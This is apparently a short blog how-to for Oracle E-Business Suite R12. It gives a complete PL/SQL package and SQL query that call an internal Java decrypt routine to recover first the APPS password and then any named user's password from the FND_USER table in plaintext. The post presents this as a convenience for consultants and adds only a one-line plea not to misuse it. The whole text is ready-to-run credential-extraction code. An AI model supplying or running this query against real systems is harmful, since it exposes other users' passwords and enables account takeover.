[Decrypting User Password]How to find password of a User in Oracle Apps R12?

THIS WORKS WITH ORACLE R12

Here is a wonderful oracle seeded Procedure fnd_web_sec.get_guest_username_pwd which will help us to find out user password.

This will be handy for consultants in resolving the issues. Please use with this care and dont misuse this.

To achieve this you need to create a small package and run a query which I wrote below

--Package Specification
CREATE OR REPLACE PACKAGE get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2;
END get_pwd;
/

--Package Body
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
   FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
/

--Query to execute
SELECT usr.user_name,
       get_pwd.decrypt
          ((SELECT (SELECT get_pwd.decrypt
                              (fnd_web_sec.get_guest_username_pwd,
                               usertable.encrypted_foundation_password
                              )
                      FROM DUAL) AS apps_password
              FROM fnd_user usertable
             WHERE usertable.user_name =
                      (SELECT SUBSTR
                                  (fnd_web_sec.get_guest_username_pwd,
                                   1,
                                     INSTR
                                          (fnd_web_sec.get_guest_username_pwd,
                                           '/'
                                          )
                                   - 1
                                  )
                         FROM DUAL)),
           usr.encrypted_user_password
          ) PASSWORD
  FROM fnd_user usr
 WHERE usr.user_name = ':USER_NAME';